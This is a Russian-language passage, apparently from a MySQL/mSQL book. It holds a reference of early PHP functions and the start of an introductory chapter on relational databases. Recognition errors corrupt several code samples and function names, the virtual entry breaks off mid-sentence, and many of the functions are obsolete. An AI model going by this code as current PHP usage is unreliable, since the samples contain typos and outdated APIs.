    $аггау = file($filename);

    Возвращает массив, каждый элемент которого содержит строку файла, указанного в filename.

    fileatime

    $time = fileatime($filename);

    Возвращает (в стандартном формате времени Unix) время последнего доступа к файлу filename . Если эта информация по каким-либо причинам не может быть получена, функция возвращает — 1.


    filectime

    $time = filectime($filename);

    Возвращает время ( в стандартном формате времени Unix) последнего изменения статуса файла filename . Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    filegroup

    $group_id = filegroup($filename);

    Возвращает идентификатор группы файла. Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    fileinode

    $inode = fileinode($filename);

    Возвращает индексный дескриптор файла filename . Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    filemtime

    $time = filemtime($filename);

    Возвращает время (в стандартном формате времени Unix) последнего изменения файла filename . Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    fileowner

    $owner = fileowner($filename);

    Возвращает ID владельца файла. Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    fileperms

    $permissions = fileperms($filename);

    Возвращает права доступа к указанному в filename файлу. Если эта информация по каким-либо причинам не может быть получена, функция возвращает —1.

    filesize

    $size = filesize($filename);

    Возвращает размер файла в байтах. Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    filetype

    $type = filetype($filename);

    Возвращает одно из следующих значений, указывающих на тип файла

    filename : dir, file, fifo, char, block или link.

    floor

    $lower_integer = floor($number);

    Округляет число number до ближайшего меньшего целого и возвращает результат в виде числа с плавающей запятой.

    flush

    flush();

    Сбрасывает содержимое буфера на стандартный вывод, так что конечный пользователь сразу видит все результаты.

    fopen

    $fd = fopen($filename, $mode);

    Открывает файл в режиме mode и возвращает указатель на дескриптор, связанный с открытым файлом. Как и в функции fopen языка С, режим может быть одним из следующих: "r", "r+", "w", "w+", "a", "а+". Функция возвращает -1, если файл невозможно открыть.


    fputs

    fputs($fd, $string);

    Записывает строку string в файл, связанный с дескриптором fd.

    fpassthru

    fpassthru($fd);

    Печатает все оставшиеся данные файла, на который указывает дескриптор fd.

    fseek

    fseek($fd, $position);

    Устанавливает дескриптор файла fd на позицию (смещение от начала файла), указанную в аргументе position.

    fsockopen

    $fd = fsockopen($hostname,$port);

    Открывает соединение с hostname на порте port и возвращает дескриптор файла, связанный с открытым соединением. Если номер порта равен 0, аргумент hostname будет рассматриваться как имя в стиле имени файла сокета Unix на локальном хосте. В случае ошибки функция вернет следующие значения: -3, если не удалось создать сокет; —4, если не удалось разрешить имя хоста (установить IP-адрес); —5, если в соединении было отказано или оно закончилось по тайм-ауту; -6, если потерпел неудачу вызов fdopen() и, наконец, -7, если потерпел неудачу вызов setvbuf().

    ftell

    Sposition = ftell($fd);

    Возвращает позицию указателя в файле, связанном с fd. Это значение можно использовать в качестве аргумента для fseek.

    getaccdir

    $directory = getaccdir();

    Возвращает имя каталога, где хранятся файлы конфигурации РНР.

    getenv

    $value = getenv($variable);

    Возвращает значение переменной окружения, указанной в variable .

    gethostbyname

    Saddress = gethostbyname($hostname);

    Возвращает IP-адрес указанного в hostname хоста.

    gethostbyaddr

    $hostname = gethostbyaddr($address);

    Возвращает имя хоста по указанному IP адресу.

    getimagesize

    $file_info_array = getimagesize($filename);

    Возвращает массив информации о графическом изображении в указанном filename. Первый элемент массива- ширина изображения, второй - высота, и третий - тип рисунка. В настоящее время распознаются типы GIF, JPG и PNG. Четвертым элементом является строка формата "width=xxx height=yyy", которая может непосредственно использоваться в теге HTML .

    getlastaccess

    $time = getlastaccess();

    Возвращает дату и время (в стандартном формате Unix) последнего обращения к странице. Эта функция будет работать, только если РНР был откомпилирован с опцией регистрации доступа.


    getlastbrowser

    $browser = getlastbrowser();

    Возвращает идентификационную строку броузера, использованного при последнем обращении к текущей странице. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

    getlastemail

    $email = getlastemail();

    Возвращает адрес электронной почты пользователя, который последним обращался к странице. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

    getlasthost

    $host = getlasthost();

    Возвращает имя хоста, с которого было сделано последнее обращение к странице. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

    getiastmod

    $time = getlastmod();

    Возвращает время (в стандартном формате времени Unix) последнего изменения страницы. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

    getlastref

    $url = getlastref();

    Возвращает URL узла, с которого пришел последний посетитель страницы. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

    getlogdir

    $directory = getlogdir();

    Возвращает каталог, в котором находятся журналы регистрации РНР.

    get my in ode

    $inode = getmyinode();

    Возвращает указатель inode HTML-файла, содержащего текущий скрипт РНР.

    getmypid

    $pid = getmypid();

    Возвращает идентификатор текущего РНР-процесса.

    getmyuid

    $id = getmyuid();

    Возвращает идентификатор пользователя владельца HTML-файла, содержащего текущий скрипт.

    getrandmax

    $number = getrandmax();

    Возвращает максимально возможное число, которое может вернуть функция rand.

    getstartlogging

    $time = getstartlogging();

    Возвращает время (в стандартном формате Unix) начала регистрации на странице HTML, которая содержит текущий скрипт.

    gettoday

    $hits = gettoday();

    Возвращает число обращений к данной странице, начиная с 0 часов текущих суток.

    gettotal

    $hits = gettotal();

    Возвращает общее число обращений к текущей странице с начала регистрации доступа к странице.


    gettype

    $type = gettype($variable);

    Возвращает одно из следующих значений: "integer", "double" или "string", указывающих на тип заданной переменной variable .

    gmdate

    $formatted_date = gmdate($format, $time);

    Идентично Date за исключением того, что для обработки значений используется время по Гринвичу (GMT) вместо местного времени.

    header

    header($header_string);

    Выводит header_string как HTTP-заголовок. Эта функция должна использоваться перед любым HTML-текстом в файле и перед любыми командами РНР, которые выдают какой-либо результат.

    hexdec

    $decimal = hexdec($hex);

    Возвращает десятичный эквивалент шестнадцатеричного аргумента hex.

    htmlspecialchars

    $html_string = htmlspecialchars($string);

    Возвращает строку string, заменяя любые специальные символы (включая <, >, &, " и все ASCII-символы с кодами от 160 до 255) на соответствующие им HTML-коды.

    imagearc

    imagearc($image, $сх, $су, $width, $height, $start, $end, $color);

    Рисует сектор эллипса в изображении image цветом, указанным в color. Центр эллипса находится в точке (сх, су), ширина указана аргументом width, высота- height, начальная и конечная точки указываются в градусах аргументами start и end соответственно.

    imagechar

    imagechar($image, $size, $x, $y, $character, $color);

    Рисует символ character в изображении image цветом, назначенным в color, с размером шрифта size. Левый верхний угол символа находится в точке (х, у).

    imagecharup

    imagecharup($image, $size, $x, $y, $character, $color);

    Функция идентична imagechar за исключением того, что символ выводится вертикально, (х, у) указывают на координаты верхнего левого угла.

    imagecolorallocate

    $color = imagecolorallocate($image, $red, $green, $blue);

    Возвращает цвет для работы с изображением image, используя указанные RGB-компоненты.

    imagecolortransparent

    imagecolortransparent($image, $color);

    Устанавливает color как прозрачный цвет для изображения image.

    imagecopyresized


    imagecopyresized($dest_image, $src_image, $dest_x, $dest_y, $src_x, $src_y, $dest_width, $dest_heigth, $src_width, $src_heigth);

    Копирует прямоугольную область из изображения src_image в изображение dest_image , изменяя размер, если это необходимо. Аргументы dest_x и dest_y являются координатами левой верхней вершины прямоугольника в принимающем изображении, a dest_height и dest_width - его высотой и шириной. Аргументы src_x, src_y,' src_width, и src_heigth являются соответствующими значениями для изображения-источника.

    imagecreate

    $image = imagecreate($width, $height);

    Возвращает идентификатор изображения, указывающий на новое изображение с заданными размерами.

    imagecreatefromgif

    $image = imagecreatefromgif($filename);

    Возвращает идентификатор изображения, указывающий на изображение в заданном файле filename .

    imagedestroy

    imagedestroy($image);

    Освобождает все ресурсы, занятые image.

    imagefill

    imagefill($image, $х, $у, $color);

    Выполняет заливку изображения image цветом color, начиная с точки (х,у).

    imagefilledpolygon

    imagefilledpolygon($image, $points_array, $num_points, $color);

    Создает многоугольник в image, заполненный цветом color. Второй аргумент является массивом вершин многоугольника. Первые два элемента - это значения х и у первой вершины. Следующие два элемента— координаты следующей вершины и т. д. Третий аргумент указывает на число вершин многоугольника.

    imagefilledrectangle

    imagefilledrectangle($image, $х1, $у1, $х2, $у2, $color);

    Создает прямоугольник в image, заполненный цветом color. Аргументы х1 и у1 образуют верхнюю левую вершину прямоугольника, а х2 и у2 — правую нижнюю.

    imagefilltoborder

    imagefilltoborder($image, $x, $y, $border, $color);

    Функция идентична imagefill за исключением того, что заливка цветом прекращается там, где встречается цвет border.

    imagegif

    imagegif($image);

    imagegif($image, $filename);

    Выводит изображение image как рисунок GIF. Если указан второй аргумент, рисунок GIF будет записан в этот файл, иначе он будет направлен прямо в броузер.


    imageinterlace

    imageinterlace($image, $interlace);

    Функция переключает бит чередования для изображения image на значение interlace , которое может быть равно 1 (включить) или 0 (выключить).

    imageline

    imageline($iraage, $х1, $у1, $х2, $у2, $color);

    Создает линию указанного в color цвета от точки (х1, у2) до точки (х2, у2) в изображении image.

    imagepolygon

    imagepolygon($image, $points, $numpoints, $color);

    Функция идентична imagef illedpolygon за исключением того, что многоугольник не заполняется.

    imagerectangle

    imagerectangle($image, $х1, $у1, $х2, $у2, $color);

    Функция идентична imagefilledrectangle за исключением того, что прямоугольник не заполняется.

    imagesetpixel

    imagesetpixel($image, $x, $y, $color);

    Рисует точку в изображении image в позиции (х, у) цветом, указанным в color.

    imagestring

    imagestring($image, $size, $x, $y, $string, $color);

    Функция идентична imagechar за исключением того, что она выводит всю строку string.

    imagestring up

    imagestringup($image, Ssize, $x, $y, $string, $color);

    Функция идентична imagecharup за исключением того, что она выводит всю строку string.

    imagesx

    $x_size = imagesx($image);

    Возвращает ширину в пикселах изображения, указанного в image.

    imagesy

    $y_size = imagesy($image);

    Возвращает высоту изображения в пикселах.

    include

    include($filename);

    Вставляет файл, указанный в filename , в текущую страницу. Выполняется полный синтаксический PHP-анализ подключаемого файла. В поисках файла filename просматривается каждый из каталогов, указанных в переменной окружения PHP_INCLUDE_ PATH.

    initsyslog

    initsyslog();

    Подготавливает систему к регистрации событий с помощью syslog. После вызова этой функции вы можете использовать syslog для записи в журнал.

    intval

    $integer = intval($variable);

    Возвращает содержимое variable в виде целого числа.

    isset

    $defined = isset($variable);

    Возвращает 1, если переменная variable определена, иначе вернет 0.

    key

    $key = key($array);


    Возвращает ключ текущего элемента массива array. Для ассоциативного массива возвращает имя ключа. Для обычного массива возвращает номер элемента.

    link

    link($target, $filename);

    Создает жесткую ссылку от filename к target.

    linkinfo

    $info = linkinfo($filename);

    Возвращает истинное значение, если ссылка, указанная в filename , существует (но не обязательно существует файл, на который указывает ссылка). В случае ошибки функция возвращает —1.

    log

    $result = log($number);

    Возвращает натуральный логарифм аргумента number.

    log10

    $result = Iog10($number);

    Возвращает логарифм по основанию 10 аргумента number.

    logas

    logas($filename);

    Регистрирует посещение текущей страницы как посещение указанного filename вместо файлового имени страницы.

    mail

    mail($to, $subject, $message);

    mail($to, $subject, $message, $headers);

    Посылает электронное письмо по адресу, указанному в параметре to, с темой, указанной в параметре subject, и поместит в тело письма значение аргумента message . Если указан четвертый аргумент, он добавляется к заголовку письма.

    max

    $maximum = max($array);

    Возвращает максимальное значение в массиве array. Если это строковый массив, функция возвращает элемент, последний по алфавиту.

    md5

    $hash = md5($string);

    Возвращает хэш (MD5) строки string .

    microtime

    $ms = microtime();

    Возвращает строку, содержащую часть текущей секунды (в виде десятичной дроби), за которой следует стандартное время Unix.

    min

    $minimum = min($array);

    Возвращает минимальное значение в массиве array. Если это строковый массив, функция вернет элемент, который был бы первым по алфавиту.

    mkdir

    mkdir($directory, $mode);

    Создает каталог directory с указанным режимом mode, mode должно быть восьмеричным значением.

    mktime

    $time = mktime($hour,$minute,$second,$month,$day, Syear);

    Возвращает время в стандартном формате времени Unix, основываясь на заданных аргументах. Если указано менее шести параметров, параметры справа считаются соответствующими текущему значению времени (например, если дано четыре параметра, используются текущий день и год).


    msql mysql

    $result = msql($database, $query);

    $result = mysql($database, $query);

    Посылает запрос query базе данных mSQL/MySQL, указанной в аргументе database. Для не SELECT-запросов функция возвращает 0 для mSQL 1.x и MySQL, а для mSQL 2.x возвращает число измененных записей. Для запроса SELECT функция возвращает идентификатор результата, который может быть использован в других функциях msql_ *. В случае ошибки функция вернет -1.

    my sql_af f ected_ro ws

    $num_rows = mysql_affected_rows();

    Возвращает число записей, измененных последней из команд INSERT, UPDATE или DELETE.

    msql_close mysql_close

    msql_close(); mysql_close();

    Закрывает подключение к серверу базы данных mSQL/MySQL.

    msql_connect mysql_connect

    msql_connect($hostname);

    mysql_connect($hostname);

    mysql_connect($hostname, Susername);

    mysql_connect($hostname, $username, Spassword);

    Создает соединение с сервером базы данных mSQL/MySQL на указанном хосте hostname. Подключение к серверу на локальном хосте осуществляется с помощью m(y)sql_connect("localhost"). Если при первом вызове m(y)sql нет подключения к базе данных, подключение к локальному хосту создается автоматически. Для MySQL может быть указан необязательный аргумент username или комбинация username/ password. Если PHP запущен в расширенном режиме безопасности (называемом SAFE MODE), username должен принадлежать либо владельцу HTML-документа, либо владельцу процесса веб-сервера.

    msql_createdb mysql_createdb

    msql_createdb($database); mysql_createdb($database);

    Создает указанную базу данных.

    msql_dbname mysql_dbname

    $db = msql_dbname($result, $i);

    $db = mysql_dbname($result, $i);

    Вернет имя базы данных, хранящееся в i-том поле результата, возвращенного функцией m(y)sql_listdbs .

    msql_dropdb mysql_dropdb

    msql_dropdb($database);

    mysql_dropdb($database);

    Удаляет базу данных database и все ее таблицы.

    msqHieldflags mysql_fieldflags

    $flags = msql_fieldflags($result, $i);

    $flags = mysql_fieldflags($result, $i);


    Возвращает флаги для в i-того поля в result. Возвращаемое значение может быть одним из следующих: "primary key", "not null", "not null primary key" или << >>.

    msql_fieldlen mysql_fieldlen

    $length = msql_fieldlen($result, $i);

    $length = mysql_fieldlen($result, $i);

    Возвращает длину i-го поля в result.

    msql_fieldname mysql_fieldname

    $name = msql_fieldname($result, $i);

    $name = mysql_fieldname($result, $i);

    Возвращает имя столбца i-го поля в result .-

    msql_fieldtype mysql_fieldtype

    $type = msql_fieldtype($result, $i);

    $type = mysql_fieldtype($result, $i);

    Возвращает тип i-го поля в result (то есть "char", "real" и т. д.).

    msql_freeresult mysql_freeresult

    msql_freeresult($result);

    mysql_freeresult($result);

    Освобождает память, связанную с результатом работы mSQL/MySQL. Вся память автоматически освобождается по завершении скрипта, поэтому используйте эту функцию, только если ваш скрипт занимает слишком много памяти.

    mysql_insertjd

    $id_num = mysql_insert_id();

    Возвращает идентификационный номер, использовавшийся при последней команде INSERT, содержавшей поле auto_increment.

    msql_listdbs mysql_listdbs

    $result = msql_listdbs();

    $result = mysql_listdbs();

    Возвращает указатель на результат, содержащий список имен всех баз данных, доступных на сервере mSQL/MySQL. Функция m(y)sql_dbname может выбирать значения из этого указателя.

    msql_listfields mysql_listfields

    $result = msql_listfields($database, $table);

    $result = mysqllistfields($database, $table);

    Вернет указатель на результат, дающий информацию о полях таблицы table в назначенной базе данных. Функции m(y)sql_fieldflags , m(y)sql_fieldlen , m(y)sql_fieldname и m(y)sql_ fieldtype могут выбирать значения из этого указателя.

    msql_isttables mysql_listtables

    $result = msql_listtables($database);

    $result = mysql_listtables($database);

    Возвращает указатель на результат, содержащий имена всех таблиц базы данных database . Функция m(y)sql_tablename может выбирать значения из этого указателя.


    msql_numfields mysql_numfields

    $num_fields = msql_numfields($result);

    $nuni_fields = mysql_numfields($result);

    Возвращает число полей в result.

    msql_nurn rows msql_numrows

    $num_rows = msql_numrows($result);

    $num_rows = mysql_numrows($result);_

    Возвращает количество записей в result.

    msql_regcase

    $new_string = msql_regcase($string);

    Возвращает копию строки string, преобразованную в регулярное выражение, необходимое для выполнения поиска не зависящих от регистра совпадений в запросе mSQL.

    msql_result mysql_result

    $result_string = msql_result($result, $i, $field);

    $result_string = mysql_result($result, $1, $field);

    Данная функция возвращает значение из указанного поля field 1-й записи набора result. Аргумент field - это имя столбца, и он может быть указан как table, field для результирующих наборов, использующих соединения таблиц. В аргумент field допускается включение любой внутренней функции MySQL, которая может обрабатывать результаты SELECT, например, mysql_result ($result, $i, "length($field)") .

    msqljtablename mysql_tablename

    $name = msql_tablename($result, $i);

    $name = mysql_tablename($result, $i);

    Вернет имя таблицы, хранящееся в i-м поле результата, возвращенного функцией m(y)sql_listtables .

    next

    next($array);

    Перемещает указатель массива array на следующий элемент и возвращает текущий.

    octdec

    $decimal = octdec($octal);

    Возвращает десятичный эквивалент восьмеричного аргумента octal.

    opendir

    opendir($directory);

    Открывает указанный каталог для использования с функцией readdir. Вы должны закрыть каталог с помощью closedir после работы с ним.

    openlog

    openlog($ident, $options, $facllity);

    Открывает для записи системный журнал. Эту функцию необходимо вызывать после initlog и до первого вызова syslog . Аргументы те же, что и при вызове системной функции Unix openlog . Значение ident предваряет каждую запись журнала и обычно является именем программы. Значение options может быть одним из следующих: LOG_CONS (выводить журнал на консоль, если произошла ошибка в стандартной процедуре); LOG_NDELAY (открыть журнал немедленно вместо ожидания первой записи журнала); LOG_PERROR (записывать также в stderr); LOG_PID (включать идентификатор процесса (PID) в каждую запись журнала). Можно комбинировать эти параметры с помощью побитового ИЛИ (например (LOG_DELAY | LOG_PERROR LOG_PID)). Facility - это один из установленных системой уровней журнализации (например, LOG_SYSLOG, LOG_USER, LOG_KERN и т. д.).


    ord

    $number = ord($character);

    Возвращает ASCII-значение символа character.

    parse_str

    parse_str($string);

    Разбирает строку URL в формате "переменная 1=значение1 &переменная2=значение2" и инициализирует переменные, присваивая им соответствующие значения. Программа РНР выполняет эту функцию автоматически для приходящих из форм данных в начале каждого скрипта.

    passthru

    passthru($command);

    passthru($command, $returevalue);

    Выполняет внешнюю команду command и выдает все результаты ее выполнения непосредственно броузеру. Если указан второй аргумент, туда помещается возвращаемое значение.

    pclose

    pclose($fd);

    Закрывает канал, открытый функцией рореп.

    phpinfo

    phpinfo();

    Печатает информационную страницу, полезную при отладке установки РНР. Это та же страница, которая печатается при добавлении "?info" к любому РНР URL, или если вы обращаетесь непосредственно к двоичным файлам РНР (то есть, http://www.myserver.com/cgi-bin/php).

    phpversion

    $version = phpversion();

    Возвращает номер версии текущего запущенного РНР.

    popen

    $fd = popen($command, $mode);

    Запускает внешнюю команду command и либо посылает ей данные (если установлен режим записи: mode = "w"), либо читает данные из команды (если в mode указать "r"). Любой файловый дескриптор, открытый таким образом, должен быть закрыт функцией pclose.

    pos

    $position = pos($array['element']);

    Возвращает число - позицию указанного элемента ' element' в ассоциативном массиве а г ray.

    pow

    $result = pow($x, $y);

    Возвращает х, возведенное в степень у.

    prev

    Selement = prev($array);

    Перемещает внутренний указатель массива а г ray на предыдущий элемент и возвращает его.

    putenv

    putenv($string);

    Помещает заданную строку string в окружение. Обратите внимание, что локальная среда окружения уничтожается по окончании выполнения скрипта, поэтому эта функция полезна только при вызове внешних программ из скрипта.

    quote met a

    $quoted_string = quotemeta($string);


    Возвращает строку string, в которой все специальные символы экранированы таким образом, что ее можно безопасно использовать в регулярных выражениях.

    rand

    $number = rand();

    Возвращает случайное число в диапазоне от 0 и до числа RANDMAX, определяемого системой. Вы должны указать начальное число генератору случайных чисел, используя srand в начале вашего скрипта. Сделать это необходимо только один раз.

    readdir

    $file = readdir();

    Возвращает следующий элемент из текущего открытого каталога и сдвигает указатель каталога. Новые обращения к этой функции будут возвращать следующие элементы каталога до тех пор, пока записи об элементах каталога не закончатся.

    readfile

    $filesize = readfile($filename);

    Выдает содержимое файла filename непосредственно броузеру и возвращает размер файла. Эту функцию можно спокойно выполнять с двоичными файлами, такими как файлы изображений.

    readlink

    $filename = readline($link);

    Возвращает путь к настоящему файлу, на который ссылается link. В случае ошибки функция вернет -1.

    reg_match

    $result = reg_match($expression, $string);

    $result = reg_match($expression, $string, $array);

    Функция идентична ereg. Она поддерживается только для обратной совместимости с предыдущими версиями РНР.

    reg_replace

    reg_replace($expression, $replacement, $string);

    Идентична ereg_replace. Эта функция поддерживается только для обратной совместимости с предыдущими версиями РНР.

    reg_search

    $partial_string = reg_search($expression, $string);

    $partial_string = reg_search($expression, $string, $array);

    Функция идентична ereg за исключением того, что она возвращает часть строки string , оставшуюся после первого совпадения. Если совпадения не обнаружено, функция возвращает пустую строку. Эта функция поддерживается только для обратной совместимости с предыдущими версиями РНР.

    rename

    rename($oldfile, $newfile);

    Переименовывает oldfile в newfile .

    reset

    reset($array);

    Перемещает внутренний указатель массива array на первый элемент и возвращает этот элемент.


    return

    return($value);

    Выходит из пользовательской функции и возвращает значение value.

    rewind

    rewind($fd);

    Устанавливает указатель файла f d в начало файла.

    rewinddir

    rewinddir();

    Передвигает указатель текущего каталога на начало каталога.

    rmdir

    rmdir($directory);

    Удаляет каталог directory , если он пуст.

    rsort

    $sorted_array = rsort($array)

    Возвращает отсортированную в порядке убывания копию ассоциативного массива array. Если первый элемент массива является числом, возвращаемый массив будет отсортирован по порядку, иначе он будет отсортирован по алфавиту.

    setcookie

    setcookie($name);

    setcookie($name, $value, $expire, $path, $domain, $secure);

    Посылает броузеру cookie с указанными атрибутами. Если задано только имя name, cookie с таким именем будет удален из броузера. Для пропуска одного из аргументов он может быть заменен на "" (или на 0 в случае с expire и secure).

    seterrorreporting

    seterrorreporting($value);

    Если значение value равно 0, выдача сообщений об ошибках отключается, иначе все сообщения выводятся в обычном режиме.

    setlogging

    setlogging($value);

    Если значение value является ненулевым, журнализация доступа к текущей странице будет разрешена, иначе - запрещена.

    setshowinfo

    setshowinfo($value);

    Если значение value не нулевое, внизу страницы будет напечатан информационный нижний колонтитул.

    settype

    settype($variable, $type);

    Устанавливает тип переменной variable в тип type, который может быть integer, double или string .

    shl

    $value = shl($number, $b);

    Возвращает значение number, сдвинутое влево на заданное в b число бит.

    shr

    $value = shr($number, $b);

    Возвращает значение number, сдвинутое вправо на заданное в b число бит.

    sin

    $value = sin($number);

    Возвращает синус аргумента number (в радианах).

    sleep

    sleep($seconds);

    Останавливает обработку страницы на указанное количество секунд.

    sort

    $sorted_array = sort($array)

    Возвращает отсортированную в порядке возрастания копию неассоциативного массива array. Если первый элемент массива является числом, возвращаемый массив будет отсортирован по порядку, иначе он будет отсортирован по алфавиту.


    soundex

    $soundex_key =soundex($string);

    Возвращает ключ soundex строки string .

    sprintf

    $string = sprintf($format, $arg, [$arg, $arg, ...]);

    Возвращает форматированную строку format, в который каждый индикатор переменной в стиле С printf заменяется соответствующим значением arg. Можно указать до 5 аргументов.

    sqrt

    $value = sqrl($number);

    Возвращает квадратный корень числа number.

    srand

    srand($integer);

    Инициализирует генератор случайных чисел целочисленным аргументом integer. Эту функцию необходимо вызвать один (и только один) раз в начале любого скрипта, в котором вы используете функцию rand.

    strchr strstr

    $substring = strchr($string, $value);

    $substring = strstr($string, $value); .

    Возвращает часть строки string после первого обнаружения символа value в строке, strchr и strstr - идентичные функции, и включены обе для полноты.

    strtr

    strtr($string, $set1, $set2);

    Все символы в строке string, которые входят в набор setl, функция преобразует в соответствующие символы в наборе set2. Если set1 длиннее set2, последний символ из set2 используется для "лишних" символов из set1. Если set2 длиннее set1, "лишние" символы из set2 игнорируются.

    stripslashes

    $plain_string = stripslashes($escaped_string);

    Удаляет все управляющие символы из строки escaped_string .

    strlen

    $length = strlen($string);

    Возвращает длину строки string .

    strrchr

    $substring = strrchr($string, $character);

    Просматривает с конца строку string в поисках указанного символа. Функция возвращает часть строки, начиная с места, где был найден искомый символ character. Если символ не обнаружен, возвращается пустая строка.

    strtok

    $substring = strtok($string, $characters);

    $substring = strtok($characters);

    Разделяет строку string на подстроки, используя в качестве разделителя любой символ, указанный в characters . После первого вызова strtok не указывайте строковый аргумент в последующих вызовах, в этом случае функция вернет каждую удачно выделенную подстроку, пока не будет достигнут конец string .


    strtolower

    $lc_string = strtolower($string);

    Возвращает string , где все символы преобразованы в символы нижнего регистра.

    strtoupper

    $uc_string = strtoupper($string);

    Возвращает string , где все символы преобразованы в символы верхнего регистра.

    strval

    $string = strval($variable);

    Возвращает переменную variable в виде строкового значения.

    substr

    $substring = substr($string, $start, Slength);

    Возвращает часть строки string , которая начинается с позиции start (0 является первым символом) и имеет длину в length символов.

    symlink

    symlink($target, $filename);

    Создает символическую связь (ссылку) от filename к target.

    syslog

    syslog($level, $message);

    Записывает сообщение message в системный журнал с уровнем level.

    system

    $results = system($command);

    $results = system($command, $return_value);

    Выполняет указанную внешнюю команду command и возвращает все результаты. Если задан второй аргумент, туда записывается возвращаемое значение (код возврата) команды.

    tan

    $value = tan($number);

    Возвращает тангенс аргумента number (в радианах).

    tempnam

    $filename = tempnam($path, $prefix);

    Возвращает имя файла с префиксом prefix, который будет уникальным в каталоге, указанном в path.

    time

    $time = time();

    Возвращает текущее время в стандартном формате времени Unix (число секунд после 1 января 1970 года).

    umask

    $umask = umask();

    umask($umask);

    Возвращает текущую маску umask, если аргумент не указан. Если аргумент umask указан, устанавливает umask в указанное значение (которое должно быть восьмеричным числом).

    uniqid

    $result = uniqid();

    Возвращает значение, уникальность которого по отношению к другим значениям, возвращаемым повторными вызовами этой функции, гарантирована.

    unlink

    unlink($filename);

    Удаляет указанный файл.

    unset

    unset($variable);

    Сбрасывает значение указанной переменной, которая может быть элементом массива. При применении данной функции к массиву удаляется весь массив.

    urldecode

    $decoded_string = urldecode($string);

    Возвращает копию строки string, в которой все экранированные спецсимволы URL раскодируются в их значения. Это делается автоматически для всех входящих данных.

    urlencode

    $encoded_string = urlencode($string);

    Возвращает копию строки string, в которой все спецсимволы закодированы для использования в URL.

    usleep

    usleep($ms);

    Задерживет синтаксический анализ скрипта на заданное в ms число микросекунд.

    virtual

    virtual($filename);

    Подключает файл filename точно так же, как в обычном файле HTML это делает тег MySQL & mSQL

    MySQL & mSQL

    Что такое база данных?

    База данных - это, попросту говоря, собрание данных. Примером неэлектронной базы данных является общественная библиотека. В библиотеке хранятся книги, периодические издания и прочие документы. Когда нужно отыскать в библиотеке какие-либо данные, вы просматриваете каталог либо указатель периодики или даже справляетесь у библиотекаря. Другой пример - неупорядоченная стопка бумаг, которая может находиться у вас на столе. Когда нужно что-то найти, вы роетесь в этой кипе, пока не найдете нужный листок. Эта база данных может работать (или нет), поскольку ее размер крайне мал. Стопка бумаг, несомненно, будет неэффективна для большого объема данных, такого, например, как библиотечное собрание. Библиотека без картотеки, индекса периодики и библиотекаря останется базой данных, только ей нельзя будет пользоваться. Поэтому, чтобы библиотека имела какую-то ценность, она должна быть организована каким-либо способом. Вашей стопкой бумаг можно было бы пользоваться более уверенно при наличии упорядоченной системы их хранения (тогда, возможно, вы не потеряли бы тот телефонный номер!). Поэтому, уточняя наше определение, мы скажем, что база данных - организованное собрание данных.

    У библиотеки и стопки бумаг много сходства. Та и другая являются базами данных, состоящими из документов. Нет никакого смысла, однако, соединять их вместе, поскольку ваши документы интересны только вам, а библиотека содержит документы, представляющие общий интерес. Каждая из баз данных отвечает определенному назначению и организована в соответствии с этим назначением. Поэтому мы еще несколько улучшим наше определение: база данных есть собрание данных, которые организованы и хранятся в соответствии с некоторым назначением.

    У традиционных бумажных баз данных много недостатков. Им требуется огромное физическое пространство. Библиотеки занимают целые

    здания, и поиск в них осуществляется относительно медленно. Каждый работавший в библиотеке знает, что для поиска порой требуется немало времени. Библиотеки также утомительно содержать в порядке, и для поддержания соответствия содержимого полок и каталогов требуется чрезмерно много времени. Хранение базы данных в электронном виде помогает решать эти вопросы.

    MySQL и mSQL не являются базами данных. Фактически они являются компьютерными программами, позволяющими пользователю создавать, поддерживать базы данных и управлять ими. Такой тип программного обеспечения известен как Системы управления базами данных (СУБД). СУБД действует как посредник между физической базой данных и ее пользователями.

    Когда вы впервые начинали работать с данными в электронной форме, вы почти наверняка использовали плоский файл. Файл файловой системы является электронной версией стопки бумаг на вашем столе. Вероятно, вы пришли к заключению, что этот тип специальной электронной базы больше не отвечает вашим потребностям. СУБД является следующим логическим шагом для удовлетворения ваших потребностей при хранении информации, и MySQL и mSQL являются первыми шагами в мир систем управления реляционными базами данных.



    Что такое реляционная база данных?

    Согласно нашему определению, база данных является организованным собранием данных. Реляционная база данных организует данные в таблицы. Вероятно, проще проиллюстрировать понятие таблицы, чем пытаться объяснить его. Таблица 1-1 является примером таблицы, которая может появиться в базе данных по книгам.

    Таблица 1-1. Таблица книг



    ISBN


    Название


    Автор


    0-446-67424-9
    0-201-54239-Х
    0-87685-086-7
    0-941423-38-7


    L.A. Confidential
    An Introduction to Database Systems
    Post Office
    The Man with the Golden Arm


    James Ellroy
    C.J. Date
    Charles Bukowski
    Nelson Algren


    В таблице 1-2 и таблице 1-3 показаны две таблицы, которые могут появиться в базе данных Национальной Баскетбольной Ассоциации.

    Таблица 1-2. Таблица команд НБА



    № команды


    Название


    Тренер


    1


    Golden State Warriors


    P.J. Carlesimo


    2


    Minnesota Timberwolves


    Flip Saunders


    3


    L.A. Lakers


    Kurt Rambis


    4


    Indiana Pacers


    Larry Bird



    Таблица 1-3. Таблица игроков НБА



    Имя


    Положение


    № команды


    Rik Smits


    Центровой


    4


    Kevin Garnett


    Нападающий


    2


    Kobe Bryant


    Защитник


    3


    Reggie Miller


    Защитник


    4


    Stephen Marbury


    Защитник


    2


    Shaquille O'Neal


    Центровой


    3


    Позже мы разберемся в специфике таблиц, а пока обратите внимание на некоторые особенности этих примеров. У каждой таблицы есть название, несколько колонок и строки, содержащие данные в каждой из этих колонок. Реляционная база данных представляет все ваши данные в таких таблицах, как эти, и обеспечивает операции извлечения, генерирующие новые таблицы из уже имеющихся. В результате пользователь видит всю базу данных в виде таблиц.

    СУБД для реляционной базы данных часто называется Реляционной системой управления базами данных (РСУБД). MySQL и mSQL являются примерами РСУБД.

